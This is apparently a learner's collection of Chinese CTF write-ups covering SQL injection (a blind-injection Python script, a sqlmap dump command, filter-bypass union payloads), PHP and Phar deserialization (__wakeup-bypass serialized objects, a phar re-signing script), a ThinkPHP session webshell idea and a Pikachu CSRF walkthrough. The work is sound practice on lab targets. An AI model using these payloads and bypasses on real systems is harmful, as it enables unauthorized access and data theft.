(1)SQL注入
[NSSRound#1 Basic]sql_by_sql
登录界面
尝试二次注入覆盖 admin 用户,但是发现注释符 # 被过滤了,--可以
但是无效了
奥原来是密码输错了
然后进行修改密码,修改以后就可以登录admin账户
查询按钮也不知道是不是注入点
id=1 为exist,id=0 没有
搞了半天看他们说这个不是mysql,而是sqlite
方法1:
在 /query 下盲注查询
import requests
import stringstr = string.ascii_letters + string.digitsurl = "http://node4.anna.nssctf.cn:28926/query"
s = requests.session()
headers = {'Cookie': 'session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZjfMvg.GIZuH3fe_fhe_TTllzNnIvaVWpo'}if __name__ == "__main__":name = ''for i in range(0,100):char = ''for j in str:#表+字段#payload = "1 and substr((select sql from sqlite_master limit 1,1),{},1)='{}'".format(i, j)#数据payload = "1 and substr((select flag from flag limit 0,1),{},1)='{}'".format(i, j)data = {"id": payload}r = s.post(url=url, data=data, headers=headers)#print(r.text)if "exist" in r.text:name += jprint (j, end='')char = jbreakif char == '%':break
方法2:
直接sqlmap跑
sqlmap -u "http://node4.anna.nssctf.cn:28040/query" --data="id=1" --cookie="Hm_lvt_648a44a949074de73151ffaa0a832a" -T flag -C flag --dump
查询参数和cookie值不能搞错
【SWPUCTF 2021 新生赛】ez_sql
提示安全的传参即POST传参
得到一个假的flag
传参 1' 报错,看引号部分是字符型注入
把引号注释掉又恢复正常了
注意这里我发现注释符 --+ 和 -- 都被过滤掉了
诶嘿,在判断列数时发现我 order by 被它截断了
说明or被过滤了 ,而且,它给我空格也删了(过滤了)
那就要找绕过方法了
去网上找了一下
替换 order by 的,用 group by:
替换空格的,用 /**/ :
替换后继续查询,发现绕过
加第2列
3列
第4列就没有了
所以总的只有三列
接下来联合查询
结果 union 也被过滤了
双写union绕过
但是发现没有返回我想要的信息,这样的话就会想到之前的报错信息提到的LIMIT子句:
也就是说LIMIT是表示所在页数,这样的话我换一页试试:limit 1,1
哦豁,可以看到返回位数是第2列和第3列,但要注意的是第三列前提示的才是True flag,所以应该查询第3列
给 database() 换个位:
得到数据库名 NSS_db
接下来爆表名
说明又有字符被过滤了
仔细一看就是 information少了or嘛
进行双写绕过,但是发现语句最后被截断了,
欧欧欧原来是忘了加括号(加了括号才代表查询的是第3列的表名,和不加括号是完全不一样的)
加括号:
欧喉,返回长度超过一行
这个我熟啊,我记得是有这么个东西:
使用聚合函数 group_concat 来将多行数据合并为一行(用它包裹住table_name即可)
包裹执行
得到两个表名 NSS_tb users
接下来查列名
查具体数据
得到flag
ok,恭喜自己又掉进出题佬的圈套(提交了好几次发现还是不正确)
后来才意识到被骗了 ,true flag反而是false,而真正的flag应该在Flag:这一栏
emmm我真的是,怎么这么多坑
但是发现仅仅只替换为第2列回显时任然是一样的flag,可能是两列目录不一样,所以光换位还不行,需要换位重新做一遍。。
做就做谁怕谁
可以看到数据库名是一样的:
表名也是一样的 :
耶?怎么列名也一样??? :
这样的话就说明是目录查错了(flag根本不在flll444g目录下)
试试Secr3t
这次该对了吧 昂?
[LitCTF 2023]这是什么? SQL! 注一下!
搜什么
先注入万能密码试试
发现只是切换了页面,并没有报错或其他提示,说明是盲注
试了一些字符发现照样只是换了页面,没有进入,应该是有字符被过滤了
那就先注个简单点的1,再进行fuzz模糊测试判断一下哪些字符是被过滤了
进行爆破
好像看似也没过滤什么
结果搞了半天不是盲注,下滑鼠标发现SQL语句和回显
那这样就没什么难度了
注1看看
可以看到一个嵌套数组 ,正确排版应该是这样:
Array ([0] => Array ([username] => tanji[password] => OHHHHHHH)
)
这个可以不用管它,注意到包裹1的是六个括号(((((()))))),这样就需要把括号给闭合掉
没有结果了,加个注释符注释掉后面6个反括号又有结果了
(由于题目有稍不雅的图,被屏蔽了,所以改了截一半)
判断列数
第3列无结果,说明只有两列
联合查询
发现返回结果有点长,应该是id=1的值和联合查询均返回了,那把id=1的值个影藏掉,看着有点费眼睛(id=1改为-1)
这次就只返回联合查询的值了
继续查数据库名
注意到username是第1列返回,psassword是第2列返回
猜测flag应该在password下,所以数据库名查第2列
得到数据库名ctf
继续查表名
-1))))))union select 1,(select table_name from information_schema.tables where table_schema='ctf')#
得到表名users
接续查列名
但是查了好几次都是没有返回值
我还以为是过滤了column,但是测试过后发现并没有
再后来想到有可能列名比较多,不是没有返回值而是返回值太多导致无法显示,所以用group_concat来输出所有,然后的确出了很多列名
查询第一个数据,但发现是无用的flag
接下来这个奥:
查询所有数据库:
id=-1)))))) union select 1,schema_name from information_schema.schemata #
执行
我嘞个,有点多,还好吧,注意到ctftraining这个数据库
直接从头查询
又忘了group_concat
得到flag了吧终于
取数据!!!
特喵的,到这一步又忘了一个东西,虽然列名叫flag,但表中的字段可能包含数据库名而不仅仅是表名,所以应该差ctftraining.flag
最后终于是出了
[GXYCTF 2019]BabySqli
注入单引号报错
是说明闭合方式是双引号吗
但是打开F12键发现一段注释
不知道什么加密用随波逐流跑一下看看
然后发现base32的结果是base64
解一下发现一段语句
看样子是查询语句
而用万能语句发现报错,说明可能有过滤字符
fuzz模糊测试搞了一下,发现过滤了 or、xor、 oorr、concat()、order、format()、ord、for
但是我觉得还不全,又找了一下还有 rand() 等
并且发现用户名为 admin 时返回 wrong pass,反正就是思路就是 admin
用联合查询猜解字段数(刚学的方法sql注入)
admin' union select 1,2#
有用
继续
admin' union select 1,2,3#
说明字段数为3
再猜解username字段数即可
1' union select 'admin',2,3#
用户错误,说明username不在一个字段
后面不会了,多亏大佬指导:
跳墙网-IT技术教程搬运工-官网首页
就是插入一条临时数据admin,然后密码为md5加密后的1,密码为1,就可以登录了
name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
(2)PHP反序列化
之前没学过PHP反序列化,现在系统学一遍
通俗的讲PHP反序列化是将字符串还原为变量的过程。这个字符串通常是由PHP的 serialize() 函数生成的,它包含了变量的类型和值。
序列化
序列化是将变量转换为字符串的过程,方便存储和传输。(serialize)
例如:
$data = array("name" => "China", "age" => 76);
$serialized = serialize($data);
echo $serialized;
输出:
a:2:{s:4:"name";s:5:"China";s:3:"age";i:76;}
解释一下这个输出:
a :表示这是一个数组(arry)
2 :表示这个数组中有两个元素
{......} :表示数组内容
s :表示这是一个字符串(string)
4 :表示这个字符串有4个字符
"name" :字符串的内容
; : 第一个和第三个分号表示键的结束
; : 第二个和第四个分号表示值的结束
i :表示这是一个整数(integer)
这是一个包含两个元素的数组,第一个元素的键是 name ,值是 China ;第二个元素的键是 age ,值是 76
总的来说这里 serialize() 函数将 $data 数组转换为一个字符串。
反序列化
反序列化是将序列化的字符串还原为PHP变量的过程。(unserialize)
还是上面的例子:
$serialized = 'a:2:{s:4:"name";s:5:"China";s:3:"age";i:76;}';
$data = unserialize($serialized);
print_r($data);
输出:
Array
([name] => China[age] => 76
)
这里,unserialize() 函数将字符串还原为数组。
两者结合一下:
// 序列化数组
$data = array("name" => "China", "age" => 76);
$serialized = serialize($data);
echo "序列化后的字符串:\n";
echo $serialized . "\n";// 反序列化字符串
$unserialized = unserialize($serialized);
echo "反序列化后的数组:\n";
print_r($unserialized);
输出:
序列化后的字符串:
a:2:{s:4:"name";s:5:"China";s:3:"age";i:76;}
反序列化后的数组:
Array
([name] => China[age] => 76
)
反序列化的主要作用是将存储或传输的字符串还原为 PHP 变量,方便后续操作。它常用于以下场景:
存储数据:将复杂的数据结构(如数组、对象)序列化后存储到文件或数据库中,需要时再反序列化还原。
网络传输:将数据序列化后通过网络传输,接收方反序列化还原。
而在CTF赛题中,PHP反序列化漏洞是一个常见的攻击点,主要作用是利用反序列化过程中的漏洞来执行恶意代码或绕过安全限制
其中代码执行主要指触发对象中的魔术方法,( _toString()、_destruct()、_wakeup() 等)从而执行恶意代码。
绕过安全限制:通过构造特定的序列化字符串,绕过应用程序的安全检查。
NSSCTF
[SWPUCTF 2021 新生赛]ez_unserialize
打开没题目
dirsearch扫了一下,发现robots.txt 和 flag.php
都访问一下
flag.php没有什么
robots.txt 有个提示
是源码
<?phperror_reporting(0);
show_source("cl45s.php");class wllm{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __destruct(){if($this->admin === "admin" && $this->passwd === "ctf"){include("flag.php");echo $flag;}else{echo $this->admin;echo $this->passwd;echo "Just a bit more!";}}
}$p = $_GET['p'];
unserialize($p);?>
主要内容是 _construct() :构造函数,初始化 $admin
和 $passwd
;
_destruct(): 析构函数,当对象被销毁时触发。
其中 _destruct() 方法中有一个条件判断: 如果 $admin === "admin"
且 $passwd === "ctf"
,则包含 flag.php
文件并输出 $flag
否则,输出 $admin
和 $passwd
,并提示 "Just a bit more!"。
目标是构造一个序列化字符串,使得反序列化后的对象满足这个条件。
解题思路:
1、构造对象
创建一个 wllm 类的对象,其中 $admin 和 $passwd 的值分别为 'admin' 和 'ctf'
然后将这个对象序列化为字符串
2、发送序列化字符串
将序列化后的字符串作为 $_GET['p'] 参数传递给脚本
脚本会调用 unserialize() 函数,反序列化字符串并触发 _destruct() 方法。
实操:
构造对象并序列化
脚本构造
$obj = new wllm();
$obj->admin = "admin";
$obj->passwd = "ctf";
$serialized = serialize($obj);
echo $serialized;
运行输出序列化字符串:
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
这样payload直接打就可以了
[SWPUCTF 2022 新生赛]ez_ez_unserialize
<?php
class X
{public $x = __FILE__;function __construct($x){$this->x = $x;}function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
if (isset($_REQUEST['x'])) {@unserialize($_REQUEST['x']);
} else {highlight_file(__FILE__);
}
做了之前的这题也照葫芦画瓢
尝试调用 $_REQUEST['x'] ,如果这个参数被设置就对其进行反序列化,但会触发 _wakeup() ,将x重新赋值,最后发序列化触发 _destruct() 将最终的文件输出,那就构造pop链
<?php
class X
{public $x = 'fllllllag.php';
}
$a=new X;
echo serialize($a);
?>
既然要绕过wakeup函数,主要序列化中的成员数大于实际成员数,就可以绕过了
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
然后传参就可以了
[极客大挑战 2019]PHP
题目提示直接上dirsearch扫一下
数据量太大,扫了三分钟才出来
www.zip 源码
发现有一个flag但提交不正确
又发现了序列化函数,尝试找出反序列化端口
看一下 index.php
补充知识点:
常用的内置方法:
__construct():创建对象时初始化,当一个对象创建时被调用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruction():结束时销毁对象,当一个对象销毁时被调用
再看class.php几个函数,主要验证username是admin,password是100
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
直接new username为admin,password为100的对象并且序列化。我们直接在class.php源码中加上序列化,得到序列化后的字符串。
构造条件序列化
<?php include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}} } $admin=new Name('admin',100); $admin1=serialize($admin); echo $admin1 ?>
得到字符串
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
但是还有一个函数,__wakeup()会将username重新赋值为“guest”,所以我们需要想办法将__wakeup()函数绕过。查找资料后发现大佬说
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
绕过:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
所以最后传参
?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
[网鼎杯 2020 青龙组]AreUSerialz 1
直接看源码
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}
按照常规方法,首先,我们先将代码复制到本地进行序列化构造,
根据代码逻辑分析,咱们可知 function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
_destruct()析构函数当对象被销毁时会被自动调用;所以当反序列化函数调用时,会触发这个
分析此方法内的代码逻辑,当我们需要它正确输出flag时此魔术方法调用后会接着正确调用此对象中的process()方法和output()方法,所以write()方法也可以删除不用看, protected $content属性也可直接删了。
根据构造函数is_valid($s) 可知,
$s的值ASCII码范围得在32<=$s<=125;
再根据构造函数read()可知,
$filename值基本为flag.php
根据上述信息,构造第一个序列化值得到:
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
php将属性类型换成public
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
public $op=2;
public $filename="flag.php";
}
?str=O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";
但是发现只有一个result
查看源代码就可以了
(3)Phar反序列化
[NSSRound#4 SWPU]1zweb
文件上传还有个查询按钮
刚开始尝试文件上传了几次发现不行
用dirsearch扫了一下
但是 /upload 禁止访问
突然注意到文件查询的按钮,试一试
后面得到提示查询 index.php 文件
好像不全,查看一下源代码
这里可以看到,又php的魔术方法,有对flag的正则匹配限制,但是没有 unserialize() 函数,猜想应该是利用了phar协议的反序列化来拿flag
通过代码审计,我们可以看到,这里有php的魔术方法,有对flag的正则匹配限制,但是这里没有unserialize()函数,猜想这里应该是利用了phar协议的反序列化来拿flag
Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作。
先对文件后缀限制,然后是对phar文件里的_HALT_COMPILER()函数;进行匹配,这个函数是phar文件的标志性函数,可以绕过,例如我们可以将phar文件用linux的gzip进行压缩来加密它,以此来绕过此检测,在上面的魔术方法的图里看到了wakeup函数,在php低版本里,可以通过修改属性个数大于实际属性个数,来绕过wakeup函数,但是因为phar文件生成时是自动进行序列化的,所以我们我们需要修改文件,phar文件生成时会进行签名,来防止被修改,所以修改文件后我们需要对phar文件重新签名,phar文件有几种不同的加密签名选择,默认签名方法应该是要看生成phar文件的php版本
可以构造恶意phar文件(生成文件),再修改文件(可以通过winhex修改属性个数)
再利用修复签名的python脚本将签名修复
python脚本
from hashlib import sha256
with open('test.phar', 'rb') as file:f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha256(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:file.write(newf) # 写入新文件
可以用kali对phar文件进行压缩(kali自带gzip) 不压缩的话phar的文件头还是会被识别出来。
然后随便修改白名单的文件后缀上传就好了
非预期:
这题由于出题人没有限制对文件读取,可以用目录遍历直接读取flag /flag。
[网鼎杯 2020 青龙组]filejava 1
文件上传吗?
不会的,随便上传一个文件,发现它会返回一个文件的下载地址
抓个包看看
filename联想到路径穿越,../ 看看现在在哪里
是java,完了不会java
但是数了一下有9个,就用9个 ../ 去看配置文件
[GYCTF2020]EasyThinking
按钮有点多
该说不说,这题源码是真的难找
dirsearch先是扫出来 /.htaccess 文件
但429
去掉 .
还有个 member
还有 config/app.php
还有一堆东西,但是感觉都没用
但是注意到 www.zip
看一下,因为通常源码都在里面
下载解压
有点 多
因为刚刚扫到了member,所以注意到目录 web\app\home\controller 下有一个 Member.php
是网页源码:
<?php
namespace app\home\controller;use think\exception\ValidateException;
use think\facade\Db;
use think\facade\View;
use app\common\model\User;
use think\facade\Request;
use app\common\controller\Auth;class Member extends Base
{public function index(){if (session("?UID")){$data = ["uid" => session("UID")];$record = session("Record");$recordArr = explode(",", $record);$username = Db::name("user")->where($data)->value("username");return View::fetch('member/index',["username" => $username,"record_list" => $recordArr]);}return view('member/index',["username" => "Are you Login?","record_list" => ""]);}public function login(){if (Request::isPost()){$username = input("username");$password = md5(input("password"));$data["username"] = $username;$data["password"] = $password;$userId = Db::name("user")->where($data)->value("uid");$userStatus = Db::name("user")->where($data)->value("status");if ($userStatus == 1){return "<script>alert(\"该用户已被禁用,无法登陆\");history.go(-1)</script>";}if ($userId){session("UID",$userId);return redirect("/home/member/index");}return "<script>alert(\"用户名或密码错误\");history.go(-1)</script>";}else{return view('login');}}public function register(){if (Request::isPost()){$data = input("post.");if (!(new Auth)->validRegister($data)){return "<script>alert(\"当前用户名已注册\");history.go(-1)</script>";}$data["password"] = md5($data["password"]);$data["status"] = 0;$res = User::create($data);if ($res){return redirect('/home/member/login');}return "<script>alert(\"注册失败\");history.go(-1)</script>";}else{return View("register");}}public function logout(){session("UID",NULL);return "<script>location.href='/home/member/login'</script>";}public function updateUser(){$data = input("post.");$update = Db::name("user")->where("uid",session("UID"))->update($data);if($update){return json(["code" => 1, "msg" => "修改成功"]);}return json(["code" => 0, "msg" => "修改失败"]);}public function rePassword(){$oldPassword = input("oldPassword");$password = input("password");$where["uid"] = session("UID");$where["password"] = md5($oldPassword);$res = Db::name("user")->where($where)->find();if ($res){$rePassword = User::update(["password" => md5($password)],["uid"=> session("UID")]);if ($rePassword){return json(["code" => 1, "msg" => "修改成功"]);}return json(["code" => 0, "msg" => "修改失败"]);}return json(["code" => 0, "msg" => "原密码错误"]);}public function search(){if (Request::isPost()){if (!session('?UID')){return redirect('/home/member/login'); }$data = input("post.");$record = session("Record");if (!session("Record")){session("Record",$data["key"]);}else{$recordArr = explode(",",$record);$recordLen = sizeof($recordArr);if ($recordLen >= 3){array_shift($recordArr);session("Record",implode(",",$recordArr) . "," . $data["key"]);return View::fetch("result",["res" => "There's nothing here"]);}}session("Record",$record . "," . $data["key"]);return View::fetch("result",["res" => "There's nothing here"]);}else{return View("search");}}
}
里面发现了session:ThinkPhP6 会默认在 /runtime/session 创建一个sess_xxxx格式的session文件,这里的xxxx就是PHPSESSID(32位),而文件的内容就是session的内容,也就是key的内容。(不知道和内个PHP随机种子一不一样)并且发现了关键代码:
if ($userId){session("UID",$userId);return redirect("/home/member/index");}
所以这里把uid写入当前的session中,就是说本来构造的PHPSESSID=1111111111111111111111111111.php的session是没有uid的,没办法实现search功能,这里可以把uid赋给session,即可以在搜索页面写入马(都要放包那里修改并且放包,这样才会上传马)
(4)CSRF
CSRF漏洞其实就是攻击者利用用户在已登录的情况下,通过在受信任网站上执行一些未经用户授权的操作。
详细来说就是
黑客控制一个网站B >> 用户登录访问网站A >> 网站A验证用户账号和密码,成功后生成一个session ID,并返回给客户端(用户)存储在浏览器中 >> 用户在客户端新建访问黑客控制的网站B >> 网站B自动触发要求客户端访问网站A >> 客户端通过网站B中的链接访问网站A >> 网站A检验session ID的合法性(如果合法就执行相应的操作)
2、CSRF漏洞的原理
所以其实CSRF漏洞的原理基本可以分为四个部分:
(1)用户登录与身份验证
用户在目标网站进行登录,网站通过 Cookie 或 Token 等方式对用户进行身份验证,并在后续请求中用于识别用户身份。
(2)攻击者构造恶意链接
攻击者恶意构造一个包含恶意操作的链接(比如转账到攻击者账户的链接)
(3)诱导受害者(这里的用户)访问
攻击者通过各种手段,如发送恶意邮件、在社交平台发布诱人的信息等,诱导受害者(用户)去点击这个恶意链接。
(4)目标网站执行恶意操作
目标网站在接收到请求后,结合附带的身份验证信息,会认为这个请求来自合法的用户,所以会执行链接中的恶意操作。
3、CSRF漏洞的危害
(1)篡改目标网站上的用户数据
攻击者可以修改用户的个人信息
(2)盗取用户隐私数据
攻击者可以访问用户的私密信息
(3)作为其他攻击向量的辅助攻击方法
CSSRF可以与其他攻击手段(如XSS、SQL注入)结合,实现更复杂的攻击
(4)传播CSRF蠕虫
可以利用CSRF漏洞传播恶意代码
4、常见类型的CSRF攻击
GET类型
攻击者通过构造恶意链接,诱导用户点击,从而触发 GET 请求
POST类型
攻击者通过构造恶意表单,诱导用户提交,从而触发 POST 请求
短连接伪装
攻击者将恶意链接转换为短链接,以提高用户点击的可能性
这里建议使用各平台如NSS上的Pikachu,以防自己本地搭建的靶场有问题(我自己搭的就抓不到包)
Pikachu
Pass 1
来到 Pikachu 靶场的第一关 GET
先登录
旁边点提示有提供用户
随便一个用户登录,密码都是123456
然后开启代理修改个人信息
现在模拟用户操作想要修改所有信息为11
这个时候来到 bp 抓到的包里面就能看到我们发起的请求
可以看到 edit
现在模拟攻击者构造恶意的 url
把请求的 url 复制过来到浏览器
假如攻击者现在把 url 中的性别 sex 改为 22,再把前面的 url 拼接上去
这样攻击者的恶意 url 就已经构造完成
我们先回去看一下原页面的 cookie
可以看到这个时候浏览器存储的 cookie 里已经有了 PHPSESSION (相当于有了用户的一个凭证)
所以只要含有这个 cookie 的浏览器(即用户的浏览器)识别到我们去请求前面的这个ip 和对应的端口,就会把这个 cookie 信息带过去(就不会再让用户登录)
比如刚刚我们已经构造好了 url 现在只需要模拟用户点击链接访问即可
可以发现虽然用户想要更改的信息全是11,但经过攻击者构造的 url 修改了性别之后,性别却并不是11,而是攻击者指定的 22 了
假如这次我们换一个没有用户 cookie 的浏览器点击恶意链接
先在用户端修改所有信息为 22
然后抓包构造恶意 url,用没有用户 cookie 的浏览器模仿用户点击
可以发现这次虽然点击(访问)了恶意链接,但是信息没有被修改,并且要求登录
这就是因为这个浏览器没有目标用户 cookie 的原因
假如我们又使用刚刚含有用户 cookie 的火狐浏览器访问恶意链接,就会发现性别又被成功修改为 33